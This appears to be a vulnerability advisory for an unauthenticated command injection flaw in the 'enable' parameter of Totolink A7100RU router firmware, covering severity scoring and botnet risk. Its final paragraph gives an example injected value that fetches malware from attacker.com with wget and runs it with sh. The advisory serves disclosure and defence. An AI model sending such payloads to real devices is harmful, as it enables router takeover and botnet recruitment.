A7100Ru EUVD-2026-21749

Remote unauthenticated attacker can exploit Totolik A7100RU firmware 7.4cu.2313_b20191024 by sending a crafted request to /cgi-bin/cstecgi.cgi with malicious input in the 'enable' parameter of setLedCfg function. No authentication or user interaction required.

This vulnerability presents CRITICAL real-world risk with multiple concerning signals: CVSS 9.8 reflects maximum severity across all base metrics (network attack vector, low complexity, no privileges required, no user interaction, high impact to confidentiality/integrity/availability). The attack is trivially exploitable as confirmed by CVSS temporal E:P (Proof-of-concept code exists) and publicly available GitHub POC, lowering the barrier to entry for mass exploitation. While not listed in CISA KEV (no confirmed active exploitation campaigns), the combination of unauthenticated remote access, zero complexity, and public exploit code creates immediate weaponization potential. SSVC factors amplify concern: exploitation is automatable (can be scripted for botnet recruitment), requires zero technical sophistication, and achieves total system compromise. Home/SOHO routers are rarely patched, extending vulnerability lifetime indefinitely. The primary risk mitigation is absence of evidence for widespread scanning/exploitation, but this vulnerability is ideal for IoT botnet operators (Mirai-style campaigns).

An external attacker scans the internet for Totolink A7100RU routers exposing their web management interface on port 80/8080. Upon identifying a vulnerable device, the attacker sends a crafted HTTP request to /cgi-bin/cstecgi.cgi with a malicious 'enable' parameter containing shell metacharacters and injected commands (e.g., enable=1;wget${IFS}http://attacker.com/malware;sh${IFS}malware). The setLedCfg function executes this unsanitized input directly in a system shell with root privileges, downloading and executing botnet malware that adds the router to a DDoS botnet, exfiltrates network traffic, or pivots into the internal network.